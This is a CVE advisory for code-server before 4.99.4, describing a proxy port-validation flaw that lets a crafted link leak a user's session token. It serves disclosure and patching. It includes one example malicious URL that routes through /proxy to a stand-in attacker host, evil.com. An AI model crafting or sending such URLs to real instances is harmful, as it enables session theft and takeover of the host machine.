CVE-2025-47269

Description

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

Reserved 2025-05-05 | Published 2025-05-09 | Updated 2025-05-10 | Assigner GitHub_M

Problem types

CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

Product status

< 4.99.4
affected

References

github.com/...server/security/advisories/GHSA-p483-wpfp-42cj

github.com/...ommit/47d6d3ada5aadef6d221f3d612401eb3dad9299e

github.com/coder/code-server/releases/tag/v4.99.4

cve.org (CVE-2025-47269)

nvd.nist.gov (CVE-2025-47269)

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